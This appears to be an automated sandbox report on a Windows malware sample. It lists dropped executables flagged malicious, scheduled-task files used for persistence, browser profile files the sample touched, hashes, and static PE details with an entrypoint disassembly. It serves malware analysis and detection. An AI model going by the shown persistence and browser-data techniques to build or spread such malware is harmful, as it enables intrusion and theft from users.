Preview:	'use strict';function k(){return function(){}}function n(a){return function(){return this[a]}}var q;function aa(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ba="function"==typeof Object.defineProperties?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function da(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var r=da(this);function t(a,b){if(b)a:{var c=r;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&null!=b&&ba(c,a,{configurable:!0,writable:!0,value:b})}}.t("Symbol",function(a){function b(f){if(this instanceof b)throw new TypeError("Symbol is not a constructor");return new c(d+(f\|\|"")+"_"+e++,f)}function c(f,g

C:\Users\user\AppData\Local\Temp\scoped_dir5448_1226484613\e3035b77-1104-4a78-909d-6dd30da69436.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	135751
Entropy (8bit):	7.804610863392373
Encrypted:	false
SSDEEP:	1536:h+OX7O5AeBWdSq2Zso2iDNjF3dNUPOTy61NVo8OJXhQXXUWFMOiiBIHWI7YyjM/8:pVdSj9hjVn6Oj5fOJR+k0iiW2IPMaIul
MD5:	83EF25FBEE6866A64F09323BFE1536E0
SHA1:	24E8BD033CD15E3CF4F4FF4C8123E1868544AC65
SHA-256:	F421D74829F2923FD9E5A06153E4E42DB011824C33475E564B17091598996E6F
SHA-512:	C699D1C9649977731EEA0CB4740C4BEAACEEC82AECC43F9F2B1E5625C487C0BC45FA08A1152A35EFBDB3DB73B8AF3625206315D1F9645A24E1969316F9F5B38C
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[..........1...c@e.J.~..A...(9=...I.N.e..T......6.7...Kk?....]<.S(.....9}........$..6...:...9..b\|B..8..I..7.8K\.KIn7.:.!^;.H........8.....,.\....b..uC...e?..E.U.........P..G..u!+......C.)Kw...............4..Qye..=$..Q.......?Oi.,O.RW6.k.+.&. .wu..tf....[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...G0E. ..r.....p..~..3.1.vD.i.]...~...!...<..4KV.~y.).`........>E.NT.%1".%............o.....J._.H.B..w..C......UU.&C..fB&..\|..i..J......I.??^.Z.....Y....0^......?...o.....O.~......W.....~.......R..z.Ma...u]....-.n....2s<....E..6.<..W.H.qh....:j.y...N.D.]Nj....../..a...{....g.....f).~._....1q..L..#.G...Q.w...J."

C:\Users\user\AppData\Local\Temp\tmpaddon

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	453023
Entropy (8bit):	7.997718157581587
Encrypted:	true
SSDEEP:	12288:tESTeqTI2r4ZbCgUKWKNeRcPMb6qlV7hVZe3:tEsed2Xh9/bdzZe3
MD5:	85430BAED3398695717B0263807CF97C
SHA1:	FFFBEE923CEA216F50FCE5D54219A188A5100F41
SHA-256:	A9F4281F82B3579581C389E8583DC9F477C7FD0E20C9DFC91A2E611E21E3407E
SHA-512:	06511F1F6C6D44D076B3C593528C26A602348D9C41689DBF5FF716B671C3CA5756B12CB2E5869F836DEDCE27B1A5CFE79B93C707FD01F8E84B620923BB61B5F1
Malicious:	false
Preview:	PK.........bN...R..........gmpopenh264.dll..\|.E.0.=..I.....1....4f1q.`.........q.....'+....hm{.z..o_.{w........$..($A!...\|L...B&A2.s.{..Dd......c.U.U..9u.S...K.l`...../.d.-....\|.....&....9......wn..x......i.#O.+.Y.l......+....,3.3f..\..c.SSS,............N...GG...F.'.&.:'.K.Z&.>.@.g..M...M.`............ZR....^jg.G.Kb.o~va.....<Z..1.#.O.e.....D..X..i..$imBW..Q&.......P.....,M.,..:.c...-...\...........-i.K.I..4.a..6.....Ov=...W..F.CH.>...a.'.x...#@f...d..u.1....OV.1o}....g.5.._.3.J.Hi.Z.ipM....b.Z....%.G..F................/..3.q..J.....o...%.g.N..}..).3.N%.!..q........^I.m..~...6.#.~+.....A...I]r...x...<IYj....p0..`S.M@.E..f.=.;!.@.....E..E....... .0.n....Jd..d......uM.-.qI.lR..z..=}..r.D.XLZ....x.$..\|c.1.cUkM.&.Qn]..a]t.h...!.6 7..Jd.DvKJ"Wgd*%n...w...Jni.inmr.@M.$'Z.s....#)%..Rs..:.h....R....\..t.6..'.g.........Uj+F.cr:\|..!..K.W.Y...17......,....r.....>.N..3.R.Y.._\...Ir.DNJdM... .k...&V-....z.%...-...D..i..&...6....7.2T).>..0..%.&.

C:\Users\user\AppData\RoamingFHJDBKJKFI.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1878528
Entropy (8bit):	7.9511790279672505
Encrypted:	false
SSDEEP:	49152:P5q5hwjJGpXZ/jHfZELr33caRxXTJ5MJRiNxEBm7HWdYOyMCoU1:swFGpXZjfZ+rnDxl5MJUxP2yG
MD5:	FDDCF49860999A5147F34179C07C4BC6
SHA1:	9272C4C84A44387FF0546C33F8816DE12E993D3D
SHA-256:	0EC6F1E4EA70E94D4B6245ECB1CA8953515E41AD631AF0FBDAD75C2AB14C36E8
SHA-512:	069E5D84F7E9058972C9D1BD6293435EA3EAC9814925C248F753BF35123B9C66B3A61A9F278000E5ECD7BEFD980345D076646B7D4F25EC8574D4D1D47A103075
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 53%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJ.r>..r>..r>...=..r>...;.(r>.].:..r>.].=..r>.].;..r>...:..r>...?..r>..r?.^r>...7..r>......r>...<..r>.Rich.r>.................PE..L....@.f..............................J...........@...........................J.....x.....@.................................W...k.............................J.............................p.J..................................................... . ............................@....rsrc...............................@....idata ............................@... .`*.........................@...wfabfqoe......1.....................@...qxvdwait......J.....................@....taggant.0....J.."..................@...........................................................................................................................................................................................................................

C:\Users\user\AppData\RoamingHJKECAAAFH.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1870848
Entropy (8bit):	7.9499154770466935
Encrypted:	false
SSDEEP:	49152:70jEH8GosswSBQTiNQza4GYnSZrV2azV/r4wCY9W:704cwfSlQeAnSZpTIY9
MD5:	33A84EA233FE9FE1B4C85E533A228BBD
SHA1:	413D73DD32BCCE870CF5EDD4B777051762882034
SHA-256:	A777BBCE91625E3261EDEBB334BE8610372DAAF0790763FC2FD085DB35B8463D
SHA-512:	0F28610C0396BAC87E8EB7C8BCEB0CD468CEBE4DF9BCA2A9E8BA2F3F37708317D6E621FDD9A9CDB6046B43EB578237124215F15BC614B016457CB37117E8395A
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJ.r>..r>..r>...=..r>...;.(r>.].:..r>.].=..r>.].;..r>...:..r>...?..r>..r?.^r>...7..r>......r>...<..r>.Rich.r>.................PE..L....A.f..............................J...........@...........................J......B....@.................................W...k.............................J..............................J..................................................... . ............................@....rsrc...............................@....idata ............................@... .`*.........................@...axajwlnp......1..t..................@...ubpicycu......J......f..............@....taggant.0....J.."...j..............@...........................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\extensions.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	36830
Entropy (8bit):	5.185052013683835
Encrypted:	false
SSDEEP:	768:AI4wvfCXh496G4C4U1W4z4xuHhvp4N4Tc4Z4S4t24U:AruBv3
MD5:	10E2D85FEF0DB266E519048D63617FA8
SHA1:	EBB307C44EBEFFA271AC58FDDE5C3A1BA52AE7B0
SHA-256:	92143A48F55639B5BD01385D0E4E78EDED4F84401A91C12AC06251EE188CFE0E
SHA-512:	164CBE725B44020AD40D165A1B1C242A7016ED8933AB9502D0D38E6CD99887D9DF49533DE54068AA4E5D8476C7791B52518A8477B8961475B7CB2C3AF54B81B1
Malicious:	false
Preview:	{"schemaVersion":35,"addons":[{"id":"formautofill@mozilla.org","syncGUID":"{87ef1fa3-cb84-4bbf-a615-45a1d14b629d}","version":"1.0.1","type":"extension","loader":null,"updateURL":null,"installOrigins":null,"manifestVersion":2,"optionsURL":null,"optionsType":null,"optionsBrowserStyle":true,"aboutURL":null,"defaultLocale":{"name":"Form Autofill","creator":null,"developers":null,"translators":null,"contributors":null},"visible":true,"active":true,"userDisabled":false,"appDisabled":false,"embedderDisabled":false,"installDate":1695865283000,"updateDate":1695865283000,"applyBackgroundUpdates":1,"path":"C:\\Program Files\\Mozilla Firefox\\browser\\features\\formautofill@mozilla.org.xpi","skinnable":false,"sourceURI":null,"releaseNotesURI":null,"softDisabled":false,"foreignInstall":false,"strictCompatibility":true,"locales":[],"targetApplications":[{"id":"toolkit@mozilla.org","minVersion":null,"maxVersion":null}],"targetPlatforms":[],"signedDate":null,"seen":true,"dependencies":[],"incognito":"

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\extensions.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	36830
Entropy (8bit):	5.185052013683835
Encrypted:	false
SSDEEP:	768:AI4wvfCXh496G4C4U1W4z4xuHhvp4N4Tc4Z4S4t24U:AruBv3
MD5:	10E2D85FEF0DB266E519048D63617FA8
SHA1:	EBB307C44EBEFFA271AC58FDDE5C3A1BA52AE7B0
SHA-256:	92143A48F55639B5BD01385D0E4E78EDED4F84401A91C12AC06251EE188CFE0E
SHA-512:	164CBE725B44020AD40D165A1B1C242A7016ED8933AB9502D0D38E6CD99887D9DF49533DE54068AA4E5D8476C7791B52518A8477B8961475B7CB2C3AF54B81B1
Malicious:	false
Preview:	{"schemaVersion":35,"addons":[{"id":"formautofill@mozilla.org","syncGUID":"{87ef1fa3-cb84-4bbf-a615-45a1d14b629d}","version":"1.0.1","type":"extension","loader":null,"updateURL":null,"installOrigins":null,"manifestVersion":2,"optionsURL":null,"optionsType":null,"optionsBrowserStyle":true,"aboutURL":null,"defaultLocale":{"name":"Form Autofill","creator":null,"developers":null,"translators":null,"contributors":null},"visible":true,"active":true,"userDisabled":false,"appDisabled":false,"embedderDisabled":false,"installDate":1695865283000,"updateDate":1695865283000,"applyBackgroundUpdates":1,"path":"C:\\Program Files\\Mozilla Firefox\\browser\\features\\formautofill@mozilla.org.xpi","skinnable":false,"sourceURI":null,"releaseNotesURI":null,"softDisabled":false,"foreignInstall":false,"strictCompatibility":true,"locales":[],"targetApplications":[{"id":"toolkit@mozilla.org","minVersion":null,"maxVersion":null}],"targetPlatforms":[],"signedDate":null,"seen":true,"dependencies":[],"incognito":"

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000002001\bfb8bb0dc7.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs-1.js

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1717), with CRLF line terminators
Category:	dropped
Size (bytes):	14072
Entropy (8bit):	5.465390651172861
Encrypted:	false
SSDEEP:	192:o7oCFjRrnTFTRRUYbBp6rQLZNMGaXy9Z6qU4sOFafoLzy+/3/7bq5RYiNBw8dMd0:CKeRFNML5kyC+dw90
MD5:	8C2FC5C01B7E4C0C35587D06F66434FA
SHA1:	D3B83C38877B671415E0EC254F8C39DD05B453CB
SHA-256:	9A7EEDF7867E02DC1651AD71D43129D57DA77D20BEDD3B95909189913078CD09
SHA-512:	C11AF1745E8A9822F30BBA535F047D878AEF3E625407E71D03AB03071A8E14A4AA2FEEC94C4984B332E03EFA097F8C74AE22C5B14D07882C5971B5757A65B461
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "a24b7aae-efcd-4433-83ad-3649b8231e2d");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.backgroundErrors", 2);..user_pref("app.update.lastUpdateTime.addon-background-update-timer", 1721999617);..user_pref("app.update.lastUpdateTime.background-update-timer", 1721999617);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696486832);..u

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1717), with CRLF line terminators
Category:	dropped
Size (bytes):	14072
Entropy (8bit):	5.465390651172861
Encrypted:	false
SSDEEP:	192:o7oCFjRrnTFTRRUYbBp6rQLZNMGaXy9Z6qU4sOFafoLzy+/3/7bq5RYiNBw8dMd0:CKeRFNML5kyC+dw90
MD5:	8C2FC5C01B7E4C0C35587D06F66434FA
SHA1:	D3B83C38877B671415E0EC254F8C39DD05B453CB
SHA-256:	9A7EEDF7867E02DC1651AD71D43129D57DA77D20BEDD3B95909189913078CD09
SHA-512:	C11AF1745E8A9822F30BBA535F047D878AEF3E625407E71D03AB03071A8E14A4AA2FEEC94C4984B332E03EFA097F8C74AE22C5B14D07882C5971B5757A65B461
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "a24b7aae-efcd-4433-83ad-3649b8231e2d");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.backgroundErrors", 2);..user_pref("app.update.lastUpdateTime.addon-background-update-timer", 1721999617);..user_pref("app.update.lastUpdateTime.background-update-timer", 1721999617);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696486832);..u

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\sessionCheckpoints.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\sessionCheckpoints.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\sessionstore-backups\recovery.baklz4 (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	Mozilla lz4 compressed data, originally 6327 bytes
Category:	dropped
Size (bytes):	1668
Entropy (8bit):	6.381534099011614
Encrypted:	false
SSDEEP:	48:eUp4zhqMz0PbWELiZbXYUaUwCjC3+OPRhGCY:ePFqMgWZZkUd5q+chGb
MD5:	66BCB197A9188BE3A92953509787B87D
SHA1:	7FA54C1A4353F9FA467902B4A4004B24F8B2E81D
SHA-256:	50D5298841EA7D5E6997D454D0D4A3A85F62D78A155DA5E2706BF7C02213EF0A
SHA-512:	E893C2FE90391F6823C89882D7EA3C74C49651DFBF0BAEBFDC724CD4C97127668DC3D0D5EF0C7FEC416EE14A64BA73A222083851AE6DEC9DA4E5476C648EC306
Malicious:	false
Preview:	mozLz40.......{"version":["ses....restore",1],"windows":[{"tab..bentrie....url":"https://www.youtube.com/account","title*....cacheKey":0,"ID":5,"docshellUU...A"{41cc8af1-5a60-490b-b262-0a1c88bf4aaf}","referrerInfo":"BBoSnxDOS9qmDeAnom1e0AA...w..$EY.....0BAQ..aABAA==V...sultPrincipalURI":null,"hasUso.ateractY...false,"triggering9..._base64":"{\"3\":{}...6docIdentifier":6,"persist":true}],"lastAccessed":1721999619985,"hiddey..searchMode...userContextIdg..attribut...{},"index":1B..questedI..p0,"imag....chrome://global/skin/icons/warning.svg"},2.^.8E..2...5b5e966d-1e8e-40a7-9c46-721557dd1525}....[/10..._78652....],"select...2,"_closedT,.@],"_...C..aGroupC...:-1,"busy...Q...Flags":2167541758....dth":1164,"height":891,"screenX":4...Y..Aizem..."maximized"...BeforeMin...&..workspacem...46f3a197-db49-410a-81b3-94975c835573","z!..1......W?..I........<..:..r.1":{..fUpdate......3,"startTim..`583942...centCrash..B0},".....Dcook.. ho@..."addons.mozilla.org","valu...Abfc0b67c202aaf415a5b7a51708a5c327

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\sessionstore-backups\recovery.jsonlz4 (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	Mozilla lz4 compressed data, originally 6327 bytes
Category:	dropped
Size (bytes):	1668
Entropy (8bit):	6.381534099011614
Encrypted:	false
SSDEEP:	48:eUp4zhqMz0PbWELiZbXYUaUwCjC3+OPRhGCY:ePFqMgWZZkUd5q+chGb
MD5:	66BCB197A9188BE3A92953509787B87D
SHA1:	7FA54C1A4353F9FA467902B4A4004B24F8B2E81D
SHA-256:	50D5298841EA7D5E6997D454D0D4A3A85F62D78A155DA5E2706BF7C02213EF0A
SHA-512:	E893C2FE90391F6823C89882D7EA3C74C49651DFBF0BAEBFDC724CD4C97127668DC3D0D5EF0C7FEC416EE14A64BA73A222083851AE6DEC9DA4E5476C648EC306
Malicious:	false
Preview:	mozLz40.......{"version":["ses....restore",1],"windows":[{"tab..bentrie....url":"https://www.youtube.com/account","title*....cacheKey":0,"ID":5,"docshellUU...A"{41cc8af1-5a60-490b-b262-0a1c88bf4aaf}","referrerInfo":"BBoSnxDOS9qmDeAnom1e0AA...w..$EY.....0BAQ..aABAA==V...sultPrincipalURI":null,"hasUso.ateractY...false,"triggering9..._base64":"{\"3\":{}...6docIdentifier":6,"persist":true}],"lastAccessed":1721999619985,"hiddey..searchMode...userContextIdg..attribut...{},"index":1B..questedI..p0,"imag....chrome://global/skin/icons/warning.svg"},2.^.8E..2...5b5e966d-1e8e-40a7-9c46-721557dd1525}....[/10..._78652....],"select...2,"_closedT,.@],"_...C..aGroupC...:-1,"busy...Q...Flags":2167541758....dth":1164,"height":891,"screenX":4...Y..Aizem..."maximized"...BeforeMin...&..workspacem...46f3a197-db49-410a-81b3-94975c835573","z!..1......W?..I........<..:..r.1":{..fUpdate......3,"startTim..`583942...centCrash..B0},".....Dcook.. ho@..."addons.mozilla.org","valu...Abfc0b67c202aaf415a5b7a51708a5c327

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\sessionstore-backups\recovery.jsonlz4.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	Mozilla lz4 compressed data, originally 6327 bytes
Category:	dropped
Size (bytes):	1668
Entropy (8bit):	6.381534099011614
Encrypted:	false
SSDEEP:	48:eUp4zhqMz0PbWELiZbXYUaUwCjC3+OPRhGCY:ePFqMgWZZkUd5q+chGb
MD5:	66BCB197A9188BE3A92953509787B87D
SHA1:	7FA54C1A4353F9FA467902B4A4004B24F8B2E81D
SHA-256:	50D5298841EA7D5E6997D454D0D4A3A85F62D78A155DA5E2706BF7C02213EF0A
SHA-512:	E893C2FE90391F6823C89882D7EA3C74C49651DFBF0BAEBFDC724CD4C97127668DC3D0D5EF0C7FEC416EE14A64BA73A222083851AE6DEC9DA4E5476C648EC306
Malicious:	false
Preview:	mozLz40.......{"version":["ses....restore",1],"windows":[{"tab..bentrie....url":"https://www.youtube.com/account","title*....cacheKey":0,"ID":5,"docshellUU...A"{41cc8af1-5a60-490b-b262-0a1c88bf4aaf}","referrerInfo":"BBoSnxDOS9qmDeAnom1e0AA...w..$EY.....0BAQ..aABAA==V...sultPrincipalURI":null,"hasUso.ateractY...false,"triggering9..._base64":"{\"3\":{}...6docIdentifier":6,"persist":true}],"lastAccessed":1721999619985,"hiddey..searchMode...userContextIdg..attribut...{},"index":1B..questedI..p0,"imag....chrome://global/skin/icons/warning.svg"},2.^.8E..2...5b5e966d-1e8e-40a7-9c46-721557dd1525}....[/10..._78652....],"select...2,"_closedT,.@],"_...C..aGroupC...:-1,"busy...Q...Flags":2167541758....dth":1164,"height":891,"screenX":4...Y..Aizem..."maximized"...BeforeMin...&..workspacem...46f3a197-db49-410a-81b3-94975c835573","z!..1......W?..I........<..:..r.1":{..fUpdate......3,"startTim..`583942...centCrash..B0},".....Dcook.. ho@..."addons.mozilla.org","valu...Abfc0b67c202aaf415a5b7a51708a5c327

C:\Windows\Tasks\axplong.job

Download File

Process:	C:\Users\user\AppData\RoamingFHJDBKJKFI.exe
File Type:	data
Category:	dropped
Size (bytes):	304
Entropy (8bit):	3.4138820193885397
Encrypted:	false
SSDEEP:	6:BhiXlXUEZ+lX1lOJUPelkDdtE9+AQy0l1XHut0:vw1Q1lOmeeDs9+nV1Xut0
MD5:	60F67451D8659B4E073BB5134B9E0F6F
SHA1:	7B1B900AABADCBC6004BF0E607744D319B773EAE
SHA-256:	74AB0DE5E6B6E755491C176F26CD44395758C46B7D4C8E4DC23B8D8CD15F86B7
SHA-512:	72A5A2D288F6B30CAD49B74E81F7F9326CE31FAA3F26D66844149C0A751F4DA37CEF1DE77AEB00EEC0385E853C4259848F84F6B632E28A12B8E9F802DB742615
Malicious:	false
Preview:	......0O...G...:OoH.F.......<... .....s.......... ....................<.C.:.\.U.s.e.r.s.\.e.n.g.i.n.e.e.r.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.4.4.1.1.1.d.b.c.4.9.\.a.x.p.l.o.n.g...e.x.e.........E.N.G.I.N.E.E.R.-.P.C.\.e.n.g.i.n.e.e.r...................0.................2.@3P.........................

C:\Windows\Tasks\explorti.job

Download File

Process:	C:\Users\user\Desktop\6SoKuOqyNh.exe
File Type:	data
Category:	dropped
Size (bytes):	306
Entropy (8bit):	3.4007211430998936
Encrypted:	false
SSDEEP:	6:pgkDZXaXUEZ+lX1cI1l6lm6tE9+AQy0l1XQEt0:pg4laQ1cagQ9+nV1pt0
MD5:	057152018464A5B835E24841FD998617
SHA1:	E8D46D5F7DC20D4091E4CB0470ACC900931EE6A1
SHA-256:	B100406F74002D9159C3A6D37EE222A426B8555CD5AF2180DB5C828113475191
SHA-512:	56D23D2B84AE028BCA6A663F9D1419093B0CB3B6173418BD8BAA59F51D1A6CD70BBDEEF19038D44A4EEEEC8079D64C12608BB6D04262EB76A00F7D0DEDBA90C2
Malicious:	false
Preview:	......u=p.F..0C..t.F.......<... .....s.......... ....................=.C.:.\.U.s.e.r.s.\.e.n.g.i.n.e.e.r.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.0.d.8.f.5.e.b.8.a.7.\.e.x.p.l.o.r.t.i...e.x.e.........E.N.G.I.N.E.E.R.-.P.C.\.e.n.g.i.n.e.e.r...................0.................1.@3P.........................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.9499154770466935
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	6SoKuOqyNh.exe
File size:	1'870'848 bytes
MD5:	33a84ea233fe9fe1b4c85e533a228bbd
SHA1:	413d73dd32bcce870cf5edd4b777051762882034
SHA256:	a777bbce91625e3261edebb334be8610372daaf0790763fc2fd085db35b8463d
SHA512:	0f28610c0396bac87e8eb7c8bceb0cd468cebe4df9bca2a9e8ba2f3f37708317d6e621fdd9a9cdb6046b43eb578237124215f15bc614b016457cb37117e8395a
SSDEEP:	49152:70jEH8GosswSBQTiNQza4GYnSZrV2azV/r4wCY9W:704cwfSlQeAnSZpTIY9
TLSH:	3A853363DFB4A999C40C6AFF243B54A72AB945DB856D2AC810BCE23CDC1F780B44E4D5
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJ.r>..r>..r>...=..r>...;.(r>.].:..r>.].=..r>.].;..r>...:..r>...?..r>..r?.^r>...7..r>......r>...<..r>.Rich.r>................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x8aa000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66A24110 [Thu Jul 25 12:12:00 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FC9D8DFACDAh
punpckhdq mm3, qword ptr [eax+eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007FC9D8DFCCD5h
add byte ptr [0000000Ah], al
add byte ptr [eax], al
add byte ptr [eax], dl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [0000000Ah], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], cl
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add eax, 0000000Ah
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edx], cl
